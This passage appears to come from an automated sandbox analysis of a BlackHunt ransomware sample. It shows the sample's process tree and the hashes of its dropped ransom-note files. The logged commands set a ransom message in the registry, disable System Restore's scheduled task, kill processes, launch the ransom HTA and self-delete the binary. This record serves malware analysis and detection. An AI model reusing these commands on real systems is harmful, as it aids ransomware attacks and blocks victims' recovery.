                                                                                                                                    "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                    2⤵
                                                                                                                                      PID:1156
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                        3⤵
                                                                                                                                          PID:5044
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                        2⤵
                                                                                                                                          PID:5056
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                            3⤵
                                                                                                                                              PID:540
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c REG DELETE "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "HealthService" /f
                                                                                                                                            2⤵
                                                                                                                                              PID:628
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                REG DELETE "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "HealthService" /f
                                                                                                                                                3⤵
                                                                                                                                                  PID:820
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                2⤵
                                                                                                                                                  PID:4700
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3860
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                    2⤵
                                                                                                                                                      PID:5040
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2284
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1240
                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                            taskkill /IM mshta.exe /f
                                                                                                                                                            3⤵
                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:4532
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1996
                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                              notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2400
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                              2⤵
                                                                                                                                                              • Checks computer location settings
                                                                                                                                                              • Modifies registry class
                                                                                                                                                              PID:4972
                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4976
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c start /min cmd /c del /F C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:908
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    cmd /c del /F C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1908
                                                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:3992
                                                                                                                                                                • C:\Windows\system32\wbengine.exe
                                                                                                                                                                  "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:4116
                                                                                                                                                                • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                  C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:1544
                                                                                                                                                                  • C:\Windows\System32\vds.exe
                                                                                                                                                                    C:\Windows\System32\vds.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                    PID:440

                                                                                                                                                                  Network

                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                  Replay Monitor

                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                  Downloads

                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                                                    Filesize

                                                                                                                                                                    10KB

                                                                                                                                                                    MD5

                                                                                                                                                                    c4e9dc244ac49843a08da3e6609c775f

                                                                                                                                                                    SHA1

                                                                                                                                                                    189866d7e0e5422abddf454ee31b53bef64c558f

                                                                                                                                                                    SHA256

                                                                                                                                                                    16c664e9f9d0d8cbb60ed020016054492b4549183dc2028382c3faf47cf627e8

                                                                                                                                                                    SHA512

                                                                                                                                                                    6c396c98254eda5b20e6e32034f9875f5cfe87a7ab8d76a65a20a2a18594a38d647fced8fec8e9457f1ee44ece7062af4bb461481d6b4f6718b2783aecda4fe2

                                                                                                                                                                    Download Submit

                                                                                                                                                                  • C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                    Filesize

                                                                                                                                                                    687B

                                                                                                                                                                    MD5

                                                                                                                                                                    3409cb1796ae3e9bd975c8303469b955

                                                                                                                                                                    SHA1

                                                                                                                                                                    3a126e1f3b7c4dc37676e1a2a8131ddd880591f4

                                                                                                                                                                    SHA256

                                                                                                                                                                    5d081e33612f4ddb324934bd369d77d2fd7a749a2a568f406917d55c3e6459b5

                                                                                                                                                                    SHA512

                                                                                                                                                                    69fafc727e0208e2494fe872eab0107746c1c9ecbec4e2709bca11b5f65547ac043095781c0105c6a6f8de0073d326c43d9ee1bf6480ef93033c76e77826cafc

                                                                                                                                                                    Download Submit